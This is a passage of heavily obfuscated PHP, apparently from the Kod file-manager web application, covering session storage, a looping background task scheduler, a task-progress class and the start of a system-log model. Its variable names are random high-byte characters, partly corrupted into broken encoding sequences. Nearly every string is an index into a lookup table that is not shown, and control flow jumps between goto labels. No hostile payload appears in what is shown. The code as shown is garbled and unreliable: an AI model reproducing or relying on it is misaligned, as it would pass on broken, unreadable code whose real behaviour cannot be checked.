{ if ($Ô×¾®Þ”[$Œ”ݶ¿«[190]] == SourceModel::TYPE_GROUP) { $<24>«Âý£ø[] = intval($Ô×¾®Þ”[$Œ”ݶ¿«[569]]); } } } if ($Ä£òÏãæ) { $Ä£òÏãæ = Model($Œ”ݶ¿«[577])->userListInfo($Ä£òÏãæ); } if ($<24>«Âý£ø) { $òÒ…´°¶ = array($Œ”ݶ¿«[2054] => array($Œ”ݶ¿«[492], $<24>«Âý£ø)); $<24>«Âý£ø = Model($Œ”ݶ¿«[585])->field($Œ”ݶ¿«[2184])->where($òÒ…´°¶)->select(); $<24>«Âý£ø = array_to_keyvalue($<24>«Âý£ø, $Œ”ݶ¿«[1962]); } return array($Œ”ݶ¿«[2185] => $Ä£òÏãæ, $Œ”ݶ¿«[2186] => $<24>«Âý£ø); } public function authInfo($àÓÖŸ¹­) { $‹ˆîŒýä =& $_SERVER[ˆ¡¹µ‹Â]; if ($àÓÖŸ¹­[$‹ˆîŒýä[2070]]) { $´ñ¦ö“î = Model($‹ˆîŒýä[571])->listData($àÓÖŸ¹­[$‹ˆîŒýä[2070]]); if (!$´ñ¦ö“î) { return !1; $ÙÔ™÷Ü­ = Model($‹ˆîŒýä[571])->listData(); $”¦œ¹<C2B9> = array_filter_by_field($ÙÔ™÷Ü­, $‹ˆîŒýä[487], $‹ˆîŒýä[228]); return $”¦œ¹<C2B9>; } $Äž•·‰Š = array_field_key($´ñ¦ö“î, array($‹ˆîŒýä[475], $‹ˆîŒýä[32], $‹ˆîŒýä[487], $‹ˆîŒýä[1985], $‹ˆîŒýä[1986])); $Äž•·‰Š[$‹ˆîŒýä[2187]] = $àÓÖŸ¹­; return $Äž•·‰Š; } else { return array($‹ˆîŒýä[493] => 0, $‹ˆîŒýä[1968] => $àÓÖŸ¹­[$‹ˆîŒýä[2131]], $‹ˆîŒýä[494] => $‹ˆîŒýä[12], $‹ˆîŒýä[1985] => $‹ˆîŒýä[2188]); } } } goto cßòìÀù<C380>…; DÓ챈µ—: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $<24>­×Šäî =& $_SERVER[ˆ¡¹µ‹Â]; static $Îý´û<C2B4>É = false; if ($Îý´û<C2B4>É) { return $Îý´û<C2B4>É; } $³ä¼Ç±Õ = $GLOBALS[$<24>­×Šäî[6]][$<24>­×Šäî[425]]; self::$sessionTime = $³ä¼Ç±Õ[$<24>­×Šäî[1709]]; $üðè‘þ¨ = isset($GLOBALS[$<24>­×Šäî[1710]]) ? $GLOBALS[$<24>­×Šäî[1710]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($üðè‘þ¨)) { self::$sessionSign = Cookie::get($üðè‘þ¨); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($üðè‘þ¨, self::$sessionSign, self::$sessionTime); $³š¬‡Ç<E280A1> = $³ä¼Ç±Õ[$<24>­×Šäî[1711]]; $†©±‹Éí = $³ä¼Ç±Õ[$³š¬‡Ç<E280A1>]; $âÊ<C3A2>Ú ç = $³ä¼Ç±Õ[$<24>­×Šäî[902]]; switch ($³š¬‡Ç<E280A1>) { case $<24>­×Šäî[21]: self::$handle = Model($<24>­×Šäî[903]); break; case $<24>­×Šäî[904]: self::$handle = new CacheRedis($†©±‹Éí, $âÊ<C3A2>Ú ç); break; case $<24>­×Šäî[905]: self::$handle = new CacheMemcached($†©±‹Éí, $âÊ<C3A2>Ú ç); break; case $<24>­×Šäî[230]: $†©±‹Éí[$<24>­×Šäî[87]] = $†©±‹Éí[$<24>­×Šäî[87]] . $<24>­×Šäî[1712]; self::$handle = new CacheFile($†©±‹Éí, $âÊ<C3A2>Ú ç); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $Îý´û<C2B4>É = new self(); return $Îý´û<C2B4>É; } public static function getBySign($ŽÃÃÅ»<C385>) { $½À”È•€ = self::$handle->get($ŽÃÃÅ»<C385>); $½À”È•€ = unserialize($½À”È•€); return is_array($½À”È•€) ? $½À”È•€ : array(); } public static function setBySign($Åá‡åÕ‹, $¼ˆ³ëÇš) { CacheLock::lock($Åá‡åÕ‹); self::$handle->set($Åá‡åÕ‹, serialize($¼ˆ³ëÇš), self::$sessionTime); CacheLock::unlock($Åá‡åÕ‹); } public static function sign($”Ë”ª£í = false) { if ($”Ë”ª£í) { self::$sessionSign = $”Ë”ª£í; } self::init(); return self::$sessionSign; } public static function set($ŸƒÚ¸¾…, $ÉÒ¼›¦ô = false) { self::init(); if (is_array($ŸƒÚ¸¾…)) { foreach ($ŸƒÚ¸¾… as $íɶ°´“ => $³üñÖ¤µ) { array_set_value(self::$data, $íɶ°´“, $³üñÖ¤µ); } } else { array_set_value(self::$data, $ŸƒÚ¸¾…, $ÉÒ¼›¦ô); } self::setBySign(self::$sessionSign, self::$data); } public static function get($…<>´±ïá = false) { self::init(); if (!$…<>´±ïá) { return self::$data; } return array_get_value(self::$data, $…<>´±ïá); } public static function remove($”ȧö™Á) { self::init(); unset(self::$data[$”ȧö™Á]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[ˆ¡¹µ‹Â][908])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ÀËŽ»<C5BD>û =& $_SERVER[ˆ¡¹µ‹Â]; if (self::valueGet($ÀËŽ»<C5BD>û[817]) != $ÀËŽ»<C5BD>û[91]) { return; } if (self::valueGet($ÀËŽ»<C5BD>û[1713]) == $ÀËŽ»<C5BD>û[91]) { $ºûäžÒÒ = self::valueGet($ÀËŽ»<C5BD>û[1714]); if (time() - $ºûäžÒÒ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($ÀËŽ»<C5BD>û[1713], $ÀËŽ»<C5BD>û[91]); self::log($ÀËŽ»<C5BD>û[1715] . ACTION . $ÀËŽ»<C5BD>û[1716]); Hook::bind($ÀËŽ»<C5BD>û[1717], $ÀËŽ»<C5BD>û[1718]); $¾ŒÉÒÖ» = 0; while (!0) { self::cacheClear(); if (self::valueGet($ÀËŽ»<C5BD>û[817]) != $ÀËŽ»<C5BD>û[91]) { self::valueSet($ÀËŽ»<C5BD>û[1713], $ÀËŽ»<C5BD>û[228]); self::log($ÀËŽ»<C5BD>û[1719]); die; } $Õûµ = time(); if ($Õûµ - $¾ŒÉÒÖ» >= 60) { self::valueSet(array($ÀËŽ»<C5BD>û[1713] => $ÀËŽ»<C5BD>û[91], $ÀËŽ»<C5BD>û[1714] => $Õûµ)); $¾ŒÉÒÖ» = $Õûµ; } if (!file_exists(USER_SYSTEM . $ÀËŽ»<C5BD>û[1720])) { self::valueSet(array($ÀËŽ»<C5BD>û[1713] => $ÀËŽ»<C5BD>û[228], $ÀËŽ»<C5BD>û[817] => $ÀËŽ»<C5BD>û[228])); self::log($ÀËŽ»<C5BD>û[1721]); die; } $¯œ“Ì£² = file_get_contents(BASIC_PATH . $ÀËŽ»<C5BD>û[1722]); $’ãÏÚ…ê = KOD_VERSION . $ÀËŽ»<C5BD>û[10] . KOD_VERSION_BUILD; $²« Ÿ¶ã = match_text($¯œ“Ì£², $ÀËŽ»<C5BD>û[1723]) . $ÀËŽ»<C5BD>û[10] . match_text($¯œ“Ì£², $ÀËŽ»<C5BD>û[1724]); if ($²« Ÿ¶ã != $’ãÏÚ…ê) { self::restart(); self::log("\x73\x74\x6f\160\145\x64\56\x5b\x76\145\162\163\x69\x6f\156\x20\165\160\144\x61\164\145\73{$versionNow}\40\75\x3e\x20{$version}\x5d"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $­<>îçö =& $_SERVER[ˆ¡¹µ‹Â]; http_close(); $GLOBALS[$­<>îçö[1725]] = 1; $_SERVER[$­<>îçö[1726]] = $­<>îçö[1727]; $_COOKIE = array(); $GLOBALS[$­<>îçö[1728]] = 1; $GLOBALS[$­<>îçö[1729]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $´—ˆ‹´ã =& $_SERVER[ˆ¡¹µ‹Â]; http_close(); self::valueSet($´—ˆ‹´ã[817], $´—ˆ‹´ã[228]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($´—ˆ‹´ã[1713] => $´—ˆ‹´ã[228], $´—ˆ‹´ã[817] => $´—ˆ‹´ã[91])); self::log($´—ˆ‹´ã[1730]); } public static function taskSwitch() { $·Ÿó¼’à =& $_SERVER[ˆ¡¹µ‹Â]; $ÛÎÍú¤­ = self::valueGet($·Ÿó¼’à[817]) == $·Ÿó¼’à[91] ? $·Ÿó¼’à[228] : $·Ÿó¼’à[91]; self::valueSet($·Ÿó¼’à[817], $ÛÎÍú¤­); } public static function shutdownEvent() { $‰í»÷Æš =& $_SERVER[ˆ¡¹µ‹Â]; self::valueSet($‰í»÷Æš[1713], $‰í»÷Æš[228]); self::log($‰í»÷Æš[1731]); } public static function config($Ƭ÷Ïñó, $Þ§ªü–») { self::valueSet($_SERVER[ˆ¡¹µ‹Â][817], $Ƭ÷Ïñó); } private static function taskRunAll() { $¤¢Å•î¿ =& $_SERVER[ˆ¡¹µ‹Â]; $Ñ¡êÈ£œ = timeFloat(); $´‰ÐÒ¥• = Model($¤¢Å•î¿[1732])->listData(); $¡®¥î²› = count($´‰ÐÒ¥•); for ($ȧ×硬 = 0; $ȧ×硬 < $¡®¥î²›; $ȧ×硬++) { $ÍÇîÅåŠ = $´‰ÐÒ¥•[$ȧ×硬]; if (!$ÍÇîÅåŠ[$¤¢Å•î¿[475]] || $ÍÇîÅåŠ[$¤¢Å•î¿[1733]] != $¤¢Å•î¿[91]) { continue; } if (!self::taskTimeCheck($ÍÇîÅåŠ)) { continue; } self::taskRun($ÍÇîÅåŠ); } Hook::trigger($¤¢Å•î¿[1734]); self::taskQueueRun($Ñ¡êÈ£œ); } private static function taskQueueRun($¡ùžª¡È) { $µÏíÜúï = 10; while (!0) { $Ã¨ÝŠî¿ = TaskQueue::run(); if ($Ã¨ÝŠî¿ === !1) { break; } if (timeFloat() - $¡ùžª¡È >= $µÏíÜúï) { break; } } } private static function taskTimeCheck($²ô…ìÚÙ) { $©£çû½õ =& $_SERVER[ˆ¡¹µ‹Â]; $땪¡’Ú = json_decode($²ô…ìÚÙ[$©£çû½õ[206]], !0); $žû†Áðõ = intval($²ô…ìÚÙ[$©£çû½õ[1714]]); $­ê²ò¶<C3B2> = strtotime($©£çû½õ[1735] . $땪¡’Ú[$©£çû½õ[1736]] . $©£çû½õ[1737]) - strtotime($©£çû½õ[1738]); $Àšö¡Ã° = time() - strtotime(date($©£çû½õ[1739]) . $©£çû½õ[1740]); $žˆ§ê“› = $Àšö¡Ã° >= $­ê²ò¶<C3B2> && $Àšö¡Ã° <= $­ê²ò¶<C3B2> + 3600; switch ($땪¡’Ú[$©£çû½õ[33]]) { case $©£çû½õ[1741]: if (time() - $žû†Áðõ < 3600 * 24 * 30) { return !1; } if ($땪¡’Ú[$©£çû½õ[1741]] == date($©£çû½õ[1742]) && $žˆ§ê“›) { return !0; } break; case $©£çû½õ[1743]: if (time() - $žû†Áðõ < 3600 * 24 * 7) { return !1; } $¹‡ÀˆŒÕ = date($©£çû½õ[1744]) == 0 ? 7 : date($©£çû½õ[1744]); if ($땪¡’Ú[$©£çû½õ[1743]] == $¹‡ÀˆŒÕ && $žˆ§ê“›) { return !0; } break; case $©£çû½õ[1736]: if (time() - $žû†Áðõ < 3600 * 24) { return !1; } if ($žˆ§ê“›) { return !0; } break; case $©£çû½õ[1745]: if (time() - $žû†Áðõ >= floatval($땪¡’Ú[$©£çû½õ[1745]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ìí½Œ³® =& $_SERVER[ˆ¡¹µ‹Â]; static $ºø”ŒäÎ = 0; $<24>ÑÐÚ­ç = 300; if (!$ºø”ŒäÎ) { $ºø”ŒäÎ = time(); } if (time() - $ºø”ŒäÎ < $<24>ÑÐÚ­ç) { return; } $ºø”ŒäÎ = time(); $Ôç‹›æË = Model($ìí½Œ³®[577])->db($ìí½Œ³®[12]); if ($Ôç‹›æË) { $Ôç‹›æË->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($ìí½Œ³®[1746], $ìí½Œ³®[1747]); die; } } public static function taskRun($Êñ©‚í„) { $¿—¹­Ž¨ =& $_SERVER[ˆ¡¹µ‹Â]; self::log($¿—¹­Ž¨[1748] . $Êñ©‚í„[$¿—¹­Ž¨[475]] . $¿—¹­Ž¨[1749] . $Êñ©‚í„[$¿—¹­Ž¨[32]] . $¿—¹­Ž¨[1750] . $Êñ©‚í„[$¿—¹­Ž¨[1751]]); Model($¿—¹­Ž¨[1732])->run($Êñ©‚í„[$¿—¹­Ž¨[475]]); $ŠÀ<C5A0>«¨Œ = timeFloat(); $œ<>ó…ÈÓ = $¿—¹­Ž¨[12]; switch ($Êñ©‚í„[$¿—¹­Ž¨[33]]) { case $¿—¹­Ž¨[383]: $ºŸñ†¡ñ = url_request($Êñ©‚í„[$¿—¹­Ž¨[1751]], $¿—¹­Ž¨[261], !1, !1, !1, !1, 10); if ($ºŸñ†¡ñ[$¿—¹­Ž¨[817]]) { $œ<>ó…ÈÓ = strlen($ºŸñ†¡ñ[$¿—¹­Ž¨[1280]]); } break; case $¿—¹­Ž¨[260]: $œ<>ó…ÈÓ = Hook::apply($Êñ©‚í„[$¿—¹­Ž¨[1751]]); default: break; } Model($¿—¹­Ž¨[1752])->add(array($¿—¹­Ž¨[1753] => $¿—¹­Ž¨[12], $¿—¹­Ž¨[1754] => $¿—¹­Ž¨[228], $¿—¹­Ž¨[33] => $¿—¹­Ž¨[1755] . $Êñ©‚í„[$¿—¹­Ž¨[475]], $¿—¹­Ž¨[1756] => json_encode(array($¿—¹­Ž¨[32] => $Êñ©‚í„[$¿—¹­Ž¨[32]], $¿—¹­Ž¨[1757] => timeFloat() - $ŠÀ<C5A0>«¨Œ, $¿—¹­Ž¨[369] => $œ<>ó…ÈÓ)))); $½¦<C2BD>˜Úœ = $œ<>ó…ÈÓ ? $¿—¹­Ž¨[1758] . $œ<>ó…ÈÓ : $¿—¹­Ž¨[12]; self::log($¿—¹­Ž¨[1759] . $Êñ©‚í„[$¿—¹­Ž¨[475]] . $¿—¹­Ž¨[178] . $½¦<C2BD>˜Úœ); return !0; } public static function valueGet($“Ì“ýÔ€) { $üˆ¬ê‰Ž =& $_SERVER[ˆ¡¹µ‹Â]; $‡ò<E280A1>¨ = $üˆ¬ê‰Ž[1760]; $€ýã©“ƒ = Model($üˆ¬ê‰Ž[508])->get($“Ì“ýÔ€, $‡ò<E280A1>¨); if (is_null($€ýã©“ƒ)) { Model($üˆ¬ê‰Ž[508])->set($üˆ¬ê‰Ž[817], $üˆ¬ê‰Ž[91], $‡ò<E280A1>¨); Model($üˆ¬ê‰Ž[508])->set($üˆ¬ê‰Ž[1713], $üˆ¬ê‰Ž[228], $‡ò<E280A1>¨); $€ýã©“ƒ = Model($üˆ¬ê‰Ž[508])->get($“Ì“ýÔ€, $‡ò<E280A1>¨); } return $€ýã©“ƒ; } private static function valueSet($åü”ÌÜÍ, $úÊɳ„ = false) { $²ûϧ®ü =& $_SERVER[ˆ¡¹µ‹Â]; $ÜÖ‡Åàñ = $²ûϧ®ü[1761]; CacheLock::lock($ÜÖ‡Åàñ); $ºö¯å³¢ = Model($²ûϧ®ü[508])->set($åü”ÌÜÍ, $úÊɳ„, $²ûϧ®ü[1760]); CacheLock::unlock($ÜÖ‡Åàñ); return $ºö¯å³¢; } protected static function log($•“ÂŽ ú) { write_log($•“ÂŽ ú, $_SERVER[ˆ¡¹µ‹Â][1747]); } private static function cacheClear() { $¿Û͇Øú =& $_SERVER[ˆ¡¹µ‹Â]; Cache::clearMemory(Model($¿Û͇Øú[508])->cacheKey($¿Û͇Øú[1760])); Cache::clearMemory(Model($¿Û͇Øú[508])->cacheKey($¿Û͇Øú[1762])); Model($¿Û͇Øú[1732])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\x73\x74\x6f\160"; const STATYS_RUNNING = "\x72\x75\x6e\x6e\151\x6e\x67"; const STATYS_KILL = "\153\x69\x6c\x6c"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($˜º»–Ä¡, $ Ç«Ë“  = '', $¦«ó­•œ = 0, $¹¶êÀîƒ = '') { $µÙÚÛÁà =& $_SERVER[ˆ¡¹µ‹Â]; if (self::get($˜º»–Ä¡)) { return; } $this->task = array($µÙÚÛÁÃ[475] => $˜º»–Ä¡, $µÙÚÛÁÃ[1763] => USER_ID, $µÙÚÛÁÃ[1652] => $¹¶êÀîƒ, $µÙÚÛÁÃ[526] => $µÙÚÛÁÃ[12], $µÙÚÛÁÃ[33] => $ Ç«Ë“ , $µÙÚÛÁÃ[1136] => $µÙÚÛÁÃ[12], $µÙÚÛÁÃ[1134] => $¦«ó­•œ, $µÙÚÛÁÃ[1764] => 0, $µÙÚÛÁÃ[1765] => 0, $µÙÚÛÁÃ[1766] => 0, $µÙÚÛÁÃ[1767] => timeFloat(), $µÙÚÛÁÃ[1768] => 0, $µÙÚÛÁÃ[1769] => 0, $µÙÚÛÁÃ[1770] => 0, $µÙÚÛÁÃ[1771] => 0, $µÙÚÛÁÃ[817] => $µÙÚÛÁÃ[1713]); $GLOBALS[$µÙÚÛÁÃ[1772]] = 1; Hook::bind($µÙÚÛÁÃ[1717], array($this, $µÙÚÛÁÃ[1773])); Hook::bind($µÙÚÛÁÃ[1774], array($this, $µÙÚÛÁÃ[1775])); $this->startAfter(); Hook::trigger($µÙÚÛÁÃ[1776], $this->task); $this->task[$µÙÚÛÁÃ[1769]] = timeFloat(); } public function end($¶•”³µ<C2B3> = '') { $ùÅû­óà =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$ùÅû­óà[1769]]) { self::valueSet($this->task[$ùÅû­óà[475]], !1); } $this->isEnd = !0; if ($¶•”³µ<C2B3>) { $this->task[$ùÅû­óà[526]] = $¶•”³µ<C2B3>; } self::log($ùÅû­óà[1777] . $this->task[$ùÅû­óà[475]] . $ùÅû­óà[1778] . sprintf($ùÅû­óà[925], timeFloat() - $this->task[$ùÅû­óà[1767]]) . $ùÅû­óà[1779]); Hook::unbind($ùÅû­óà[1717], array($this, $ùÅû­óà[1773])); Hook::unbind($ùÅû­óà[1774], array($this, $ùÅû­óà[1775])); $this->endAfter(); $žèüµšô = $this->task; $this->task = !1; Hook::trigger($ùÅû­óà[1780], $žèüµšô); } public function update($åÏ—ˆ— = 0, $®«„ŒíÅ = false) { $ôŒ§ßŒß =& $_SERVER[ˆ¡¹µ‹Â]; $ÆûÙâ¦ô =& $this->task; if (!$ÆûÙâ¦ô) { return; } $ÆûÙâ¦ô[$ôŒ§ßŒß[1764]] += $åÏ—ˆ—Â; $ÆûÙâ¦ô[$ôŒ§ßŒß[1768]] = timeFloat(); if ($ÆûÙâ¦ô[$ôŒ§ßŒß[1134]]) { if ($ÆûÙâ¦ô[$ôŒ§ßŒß[1134]] < $ÆûÙâ¦ô[$ôŒ§ßŒß[1764]]) { $ÆûÙâ¦ô[$ôŒ§ßŒß[1134]] = $ÆûÙâ¦ô[$ôŒ§ßŒß[1764]]; } $­õ‘šíì = timeFloat() - $ÆûÙâ¦ô[$ôŒ§ßŒß[1767]] - $ÆûÙâ¦ô[$ôŒ§ßŒß[1770]]; if ($­õ‘šíì <= 0) { $­õ‘šíì = 0.001; } $ÆûÙâ¦ô[$ôŒ§ßŒß[1765]] = $ÆûÙâ¦ô[$ôŒ§ßŒß[1764]] / $ÆûÙâ¦ô[$ôŒ§ßŒß[1134]]; $ÆûÙâ¦ô[$ôŒ§ßŒß[1766]] = $ÆûÙâ¦ô[$ôŒ§ßŒß[1764]] / $­õ‘šíì; if ($ÆûÙâ¦ô[$ôŒ§ßŒß[1765]] > 0) { $ÆûÙâ¦ô[$ôŒ§ßŒß[1771]] = $­õ‘šíì * (1 - $ÆûÙâ¦ô[$ôŒ§ßŒß[1765]]) / $ÆûÙâ¦ô[$ôŒ§ßŒß[1765]]; } $ÆûÙâ¦ô[$ôŒ§ßŒß[1771]] = $ÆûÙâ¦ô[$ôŒ§ßŒß[1771]] <= 0 ? 0 : $ÆûÙâ¦ô[$ôŒ§ßŒß[1771]]; } $this->updateAfter(); $®Òï€×‰ = 0.2; if (timeFloat() - $ÆûÙâ¦ô[$ôŒ§ßŒß[1769]] < $®Òï€×‰ && !$®«„ŒíÅ) { return; } $šùì縃 = self::get($ÆûÙâ¦ô[$ôŒ§ßŒß[475]]); $¨’íä Ö = $šùì縃[$ôŒ§ßŒß[817]]; if ($¨’íä Ö == self::STATYS_KILL) { $<24>Ü®<C39C>Ûˆ = array($ôŒ§ßŒß[1781] => LNG($ôŒ§ßŒß[1782]), $ôŒ§ßŒß[1290] => !1); Cache::set($ôŒ§ßŒß[1783] . $this->task[$ôŒ§ßŒß[475]], $<24>Ü®<C39C>Ûˆ, 30); $this->onKill(); $this->end(); die; } else { if ($¨’íä Ö == self::STATYS_STOP) { $ÜãÚÄ©¡ = 2; $šùì縃[$ôŒ§ßŒß[1770]] += $ÜãÚÄ©¡; self::valueSet($ÆûÙâ¦ô[$ôŒ§ßŒß[475]], $šùì縃); sleep($ÜãÚÄ©¡); $this->update(); return; } } $ÆûÙâ¦ô[$ôŒ§ßŒß[817]] = $¨’íä Ö ? $¨’íä Ö : $ÆûÙâ¦ô[$ôŒ§ßŒß[817]]; $ÆûÙâ¦ô[$ôŒ§ßŒß[1770]] = $šùì縃[$ôŒ§ßŒß[1770]] ? $šùì縃[$ôŒ§ßŒß[1770]] : 0; $ÆûÙâ¦ô[$ôŒ§ßŒß[1769]] = timeFloat(); Hook::trigger($ôŒ§ßŒß[1784], $ÆûÙâ¦ô); self::valueSet($ÆûÙâ¦ô[$ôŒ§ßŒß[475]], $ÆûÙâ¦ô); } public function onKillSet($×€ðàЄ, $„”£¢û· = array()) { $this->onKillCall = array($×€ðàЄ, $„”£¢û·); } public function onKill() { $ñÜÃÌ›Ñ =& $_SERVER[ˆ¡¹µ‹Â]; self::log($ñÜÃÌ›Ñ[1777] . $this->task[$ñÜÃÌ›Ñ[475]] . $ñÜÃÌ›Ñ[1785]); Hook::trigger($ñÜÃÌ›Ñ[1786], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($Î綦˜Ù) { $žâÄ¶ÚÆ =& $_SERVER[ˆ¡¹µ‹Â]; Cache::set($žâÄ¶ÚÆ[1783] . $this->task[$žâÄ¶ÚÆ[475]], $Î綦˜Ù, 60); return $Î綦˜Ù; } public static function get($‹û•ûùý) { $ê¿Ó§<C393> =& $_SERVER[ˆ¡¹µ‹Â]; $÷ɽíå¶ = self::valueGet($‹û•ûùý); if (is_array($÷ɽíå¶) && $÷ɽíå¶[$ê¿Ó§<C393>[1787]]) { $ÛߨóÆÔ = ActionApply($÷ɽíå¶[$ê¿Ó§<C393>[1787]], array($÷ɽíå¶)); $÷ɽíå¶ = is_array($ÛߨóÆÔ) ? $ÛߨóÆÔ : $÷ɽíå¶; } return $÷ɽíå¶; } public static function listData() { $ºÝ <E280B9> = self::valueGet(); return array_sort_by($ºÝ <E280B9>, $_SERVER[ˆ¡¹µ‹Â][1767], !0); } public static function kill($Ü™‹ý’µ) { return self::changeStatus($Ü™‹ý’µ, self::STATYS_KILL); } public static function stop($ª„™<E2809E>§µ) { return self::changeStatus($ª„™<E2809E>§µ, self::STATYS_STOP); } public static function restart($Ð…¯º„ì) { return self::changeStatus($Ð…¯º„ì, self::STATYS_RUNNING); } public static function killAll() { $¬ë×ìùÍ =& $_SERVER[ˆ¡¹µ‹Â]; $èï€Ô™Ÿ = self::listData(); foreach ($èï€Ô™Ÿ as $íñ›õÖÒ) { self::kill($íñ›õÖÒ[$¬ë×ìùÍ[475]]); } sleep(2); foreach ($èï€Ô™Ÿ as $íñ›õÖÒ) { self::valueSet($íñ›õÖÒ[$¬ë×ìùÍ[475]], !1); } } private static function changeStatus($ÃææÁÚ¬, $ô´º«Ü–) { $‰²è°µ® =& $_SERVER[ˆ¡¹µ‹Â]; $°¦Àææ‚ = self::valueGet($ÃææÁÚ¬); if (!$°¦Àææ‚) { return !1; } $°¦Àææ‚[$‰²è°µ®[817]] = $ô´º«Ü–; self::valueSet($ÃææÁÚ¬, $°¦Àææ‚); self::log($‰²è°µ®[1788] . $°¦Àææ‚[$‰²è°µ®[475]] . $‰²è°µ®[1789] . $ô´º«Ü–); return !0; } public static function valueGet($<24>¼÷¹©ø = false) { $ïïß<C3AF>å­ =& $_SERVER[ˆ¡¹µ‹Â]; if ($<24>¼÷¹©ø) { $‹ˆ¤ÓÁ­ = Model($ïïß<C3AF>å­[520])->where(array($ïïß<C3AF>å­[97] => $<24>¼÷¹©ø, $ïïß<C3AF>å­[33] => $ïïß<C3AF>å­[1143]))->find(); return $‹ˆ¤ÓÁ­ ? json_decode($‹ˆ¤ÓÁ­[$ïïß<C3AF>å­[450]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ݧ¿Ÿüé = false) { $˜ùëƒ‹Ò =& $_SERVER[ˆ¡¹µ‹Â]; $щ€ðå€ = array($˜ù냋Ò[33] => $˜ù냋Ò[1143]); if ($ݧ¿Ÿüé) { $щ€ðå€[$˜ù냋Ò[1763]] = $ݧ¿Ÿüé; } $Їî‡Î“ = Model($˜ù냋Ò[520])->where($щ€ðå€)->select(); $Їî‡Î“ = $Їî‡Î“ ? $Їî‡Î“ : array(); foreach ($Їî‡Î“ as $ÁÁÀÓ“<C393> => $ΖÌÊé–) { $Їî‡Î“[$ÁÁÀÓ“<C393>] = json_decode($ΖÌÊé–[$˜ù냋Ò[450]], !0); } return $Їî‡Î“; } public static function valueSet($¨þÁÇžä, $µ˜ó ãË) { $šÁ<C5A1>ãÃú =& $_SERVER[ˆ¡¹µ‹Â]; if (!$µ˜ó ãË) { return Model($šÁ<C5A1>ãÃú[520])->where(array($šÁ<C5A1>ãÃú[97] => $¨þÁÇžä, $šÁ<C5A1>ãÃú[33] => $šÁ<C5A1>ãÃú[1143]))->delete(); } $¿Ü­„ïª = json_encode($µ˜ó ãË); if (!$¿Ü­„ïª) { ob_start(); var_dump($µ˜ó ãË); $ÉùúµÎ¬ = ob_get_clean(); self::log($šÁ<C5A1>ãÃú[1790] . json_encode_force($ÉùúµÎ¬)); } if (!$¨þÁÇžä || !$µ˜ó ãË[$šÁ<C5A1>ãÃú[475]]) { return !1; } $®Âõõ¾Ë = array($šÁ<C5A1>ãÃú[33] => $šÁ<C5A1>ãÃú[1143], $šÁ<C5A1>ãÃú[1763] => USER_ID, $šÁ<C5A1>ãÃú[97] => $¨þÁÇžä, $šÁ<C5A1>ãÃú[450] => $¿Ü­„ïª); $°„©ØŠõ = $šÁ<C5A1>ãÃú[1791]; CacheLock::lock($°„©ØŠõ); Model($šÁ<C5A1>ãÃú[520])->add($®Âõõ¾Ë, array(), !0); CacheLock::unlock($°„©ØŠõ); } public static function log($œÃÞ»ãµ) { if (!GLOBAL_DEBUG) { return; } write_log($œÃÞ»ãµ, $_SERVER[ˆ¡¹µ‹Â][1792]); } } goto E÷„ï×éƒ; c½«ãç§êÛ: class SystemLogModel extends ModelBase { protected $tableName = "\163\171\163\x74\145\155\137\x6c\x6f\x67"; protected $dataAuto = array(array("\x63\x72\x65\x61\164\x65\124\x69\x6d\145", "\164\151\x6d\145", "\x69\156\163\x65\162\x74", "\x66\x75\156\143\164\x69\157\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $™ë¤Ý‰É =& $_SERVER[ˆ¡¹µ‹Â]; return array($™ë¤Ý‰É[2328] => LNG($™ë¤Ý‰É[2329]), $™ë¤Ý‰É[2330] => LNG($™ë¤Ý‰É[2331]), $™ë¤Ý‰É[1904] => LNG($™ë¤Ý‰É[2332]), $™ë¤Ý‰É[2333] => LNG($™ë¤Ý‰É[2334]), $™ë¤Ý‰É[2335] => LNG($™ë¤Ý‰É[2336]), $™ë¤Ý‰É[2337] => LNG($™ë¤Ý‰É[2338]), $™ë¤Ý‰É[2339] => LNG($™ë¤Ý‰É[2340]), $™ë¤Ý‰É[1934] => LNG($™ë¤Ý‰É[2340]), $™ë¤Ý‰É[1935] => LNG($™ë¤Ý‰É[2341]), $™ë¤Ý‰É[2342] => LNG($™ë¤Ý‰É[2343]), $™ë¤Ý‰É[2344] => LNG($™ë¤Ý‰É[2345]), $™ë¤Ý‰É[2346] => LNG($™ë¤Ý‰É[2347]), $™ë¤Ý‰É[2348] => LNG($™ë¤Ý‰É[2349]), $™ë¤Ý‰É[1932] => LNG($™ë¤Ý‰É[2350]), $™ë¤Ý‰É[2351] => LNG($™ë¤Ý‰É[2352]), $™ë¤Ý‰É[1939] => LNG($™ë¤Ý‰É[2353]), $™ë¤Ý‰É[2354] => LNG($™ë¤Ý‰É[2355]), $™ë¤Ý‰É[2356] => LNG($™ë¤Ý‰É[2357]), $™ë¤Ý‰É[2358] => LNG($™ë¤Ý‰É[2359]), $™ë¤Ý‰É[2360] => LNG($™ë¤Ý‰É[2361]), $™ë¤Ý‰É[1942] => LNG($™ë¤Ý‰É[2362]), 